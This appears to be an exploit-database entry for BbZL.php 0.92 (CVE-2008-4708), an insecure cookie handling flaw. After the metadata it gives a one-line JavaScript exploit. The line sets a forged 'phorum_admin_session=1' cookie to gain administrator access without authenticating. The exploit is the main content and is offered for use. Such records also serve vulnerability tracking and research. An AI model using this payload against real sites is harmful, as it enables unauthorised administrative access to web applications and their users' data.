BbZL.php 0.92 - Insecure Cookie Handling

Author: Stack
type: webapps
platform: php
port: 0
date_added: 2008-09-27
date_updated: 
verified: 1
codes: OSVDB-49281;CVE-2008-4708
tags: 
aliases: 
screenshot_url: 
application_url: 

###############################################################################################
[+] BbZL.PhP 0.92 Insecure Cookie Handling Vulnerability
[+] Discovered By Stack
[+] Greetz : All my freind
################################################################################################
Exploit:
javascript:document.cookie = "phorum_admin_session=1; path=/";

# milw0rm.com [2008-09-28]